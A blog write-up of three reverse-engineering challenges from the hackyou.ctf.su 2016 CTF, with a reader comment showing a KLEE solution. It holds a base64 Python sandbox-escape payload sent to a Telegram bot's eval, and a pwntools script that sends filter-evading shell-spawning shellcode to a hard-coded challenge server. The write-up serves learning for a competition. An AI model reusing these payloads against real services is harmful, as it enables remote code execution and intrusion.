hackyou.ctf.su 2016

This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.

Reverse 100:

#include <stdio.h>
#include <string.h>

int main() {
	char buf[64];
	gets(buf);
	int l = strlen(buf);
	if (l * l != 144)
		return 1;
	unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16);
	unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16);
	unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16);
	unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16);
	if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059))))
		return 2;
	if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931))))
		return 3;
	if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651))))
		return 4;
	if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510))))
		return 5;
	printf("Congratulations %s is flag\n",buf);
	return 0;
}

First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.

Reverse 200:
This is a .pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this

# Source Generated with Decompyle++
# File: rev200_bot_7b541a1.pyc (Python 2.7)

import config
import traceback
import re
from base64 import *
from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHide
sec_state = { }

def process_message(bot, u):
Warning: Stack history is not empty!
    if u.message.sender and u.message.text and u.message.chat:
        chat_id = u.message.chat.id
        user = u.message.sender.username
        reply_hide = ReplyKeyboardHide.create()
        print 'user:%s mes:%s' % (user, u.message.text)
        if user not in sec_state:
            sec_state[user] = {
                'mode': 15,
                'stage': 7 }
        cmd1 = u.message.text.encode('utf-8')
        a = re.findall('(\\/\\w+)\\s*(.*)', cmd1)
        if a:
            cmd = a[0][0]
            data = a[0][1]
            if cmd == '/help':
                bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide)
            if cmd == '/enter':
                keyboard = [
                    [
                        '-7-',
                        '-8-',
                        '-9-'],
                    [
                        '-4-',
                        '-5-',
                        '-6-'],
                    [
                        '-1-',
                        '-2-',
                        '-3-'],
                    [
                        '-0-']]
                reply_markup = ReplyKeyboardMarkup.create(keyboard)
                bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait()
            if sec_state[user]['mode'] == 0 and cmd == '/7779317':
                ddd = b64decode(data)
                bot.send_message(chat_id, eval(ddd))
            
        a = re.findall('-(\\d+)-', cmd1)
        if a:
            num = a[0]
            if int(num) == sec_state[user]['stage']:
                sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
                sec_state[user]['mode'] = sec_state[user]['mode'] - 1
                if sec_state[user]['mode'] < 0:
                    sec_state[user]['mode'] = 0
                if sec_state[user]['mode'] == 0:
                    bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait()
                
            else:
                print 'NO', num, sec_state[user]['stage']
                bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait()
                sec_state[user]['mode'] = 15
        

bot = TelegramBot(config.token)
bot.update_bot_info().wait()
print bot.username
last_update_id = 0
while True:
    updates = bot.get_updates(offset = last_update_id).wait()
    
    try:
        for update in updates:
            if int(update.update_id) > int(last_update_id):
                last_update_id = update.update_id
                process_message(bot, update)
                continue
    continue
    except Exception:
        ex = None
        print traceback.format_exc()
        continue
    

So this is a kind of chat-bot server based on Telegram.
There is eval function inside,  bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;

#coding: utf-8
sec_state = { }
user = "A"
sec_state[user] = {
'mode': 15,
'stage': 7 } # bruteforce number
sec_state[user]['mode'] = 15
r = []
while 1:
	num = sec_state[user]['stage']
	r.append(num)
	print "-%d-" % num
	sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
	sec_state[user]['mode'] = sec_state[user]['mode'] - 1
	if sec_state[user]['mode'] < 0:
	    sec_state[user]['mode'] = 0
	if sec_state[user]['mode'] == 0:
		break

print sec_state[user]['mode']

Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`

Reverse 300:
Let's get some fun.

let reverse this (or not?), look at handler (the main function)

ssize_t __cdecl handler(int fd)
{
  ssize_t result; // eax@1
  unsigned int buf; // [sp+20h] [bp-18h]@1
  int v3; // [sp+24h] [bp-14h]@1
  char *v4; // [sp+28h] [bp-10h]@4
  int v5; // [sp+2Ch] [bp-Ch]@4

  buf = 0;
  setuid(0x3E8u);
  seteuid(0x3E8u);
  setgid(0x3E8u);
  setegid(0x3E8u);
  result = recv(fd, &buf, 4u, 0);
  v3 = result;
  if ( result == 4 )
  {
    result = buf;
    if ( buf <= 0xC8 )
    {
      v4 = (char *)mmap(0, buf, 7, 33, -1, 0);
      v3 = recv(fd, v4, buf, 0);
      result = crc32(0, v4, buf);
      v5 = result;
      if ( result == 0xCAFEBABE )
      {
        result = filter(v4, buf) ^ 1;
        if ( !(_BYTE)result )
          result = ((int (*)(void))v4)();
      }
    }
  }
  return result;
}

So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:

1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;

from pwn import *
import socket, struct, telnetlib
def getCRC(data):
	import subprocess
	with open('/tmp/12', 'wb') as f:
		f.write(data + "123456")
	subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1) , 'CAFEBABE'])
	with open('/tmp/12', 'rb') as f:
		data = f.read()
	return data
def crc32(data):# recheck
	import zlib
	return (zlib.crc32(data)) & 0xffffffff


d = ""
d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))
d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))
# i need dup2 because the program use itself as server
d += asm(pwnlib.shellcraft.i386.linux.sh())

fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')

print len(fsc)
fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.
print hex(crc32(fsc))

#yes, i love my custom socket lib 🙁
s = socket.create_connection(("78.46.101.237", 3177))

s.send(p32(len(fsc)))
s.send(fsc)
s.send("\n")

s.send("cat flag*\n") 
print s.recv(1024)

To be continued....

2 thoughts on “hackyou.ctf.su 2016

  1. in [Reverse 100] problem, other simple way is to use Klee to solve

    #include
    #include
    #include

    #define ITERS 12
    int main() {
    char buf[ITERS];
    klee_make_symbolic(buf, ITERS, "012345");
    unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16);
    unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16);
    unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16);
    unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16);
    if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059))))
    return 2;
    if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931))))
    return 3;
    if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651))))
    return 4;
    if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510))))
    return 5;
    // printf("Congratulations %s is flag\n",buf);
    klee_assert(0);
    return 0;
    }

Comments are closed.